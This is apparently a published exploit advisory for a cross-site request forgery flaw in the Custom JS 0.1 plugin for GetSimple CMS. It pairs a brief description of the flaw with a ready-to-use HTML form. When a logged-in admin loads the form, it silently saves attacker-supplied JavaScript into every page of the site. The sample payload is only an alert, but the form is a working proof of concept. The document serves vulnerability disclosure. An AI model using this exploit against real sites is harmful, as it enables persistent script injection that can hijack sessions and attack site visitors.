GetSimple CMS Custom JS Plugin 0.1 CSRF to Persistent XSS

2021.03.31
Risk: Low
Local: No
Remote: Yes
CVE: N/A

# Exploit Title: GetSimple CMS Custom JS Plugin 0.1 - CSRF to Persistent XSS # Exploit Author: Abhishek Joshi # Date: March 25, 2021 # Vendor Homepage: http://get-simple.info/extend/plugin/custom-js/1267 / http://get-simple.info/download # Software Link: http://get-simple.info/extend/export/5260/1267/custom-js.zip # Version: 0.1 # Tested On: Windows 10 Pro + XAMPP + PHP Version 7.4.10 # Tested against: Firefox 78.7.0esr (64-bit) # Vulnerability Description: # Cross-Site Request Forgery (CSRF) vulnerability in Custom JS v0.1 plugin for GetSimple CMS allows remote attackers to inject arbitrary client-side script code into every webpage hosted on the CMS (Persistent Cross-Site Scripting), when an authenticated admin visiting a third-party site. ## CSRF POST Form Method <html><body> <form action="http://mygetsimplecms.local/admin/load.php?id=CustomJSPlugin" method="POST"> <input type="hidden" name="customjs_url_content" value=""> <input type="hidden" name="customjs_js_content" value="alert('Hello Abhishek Joshi from CSRF --> XSS all the things!')"> <input type="hidden" name="submit" value="Save Settings"> <input type="submit" value="Submit request"> </form> </body></html>


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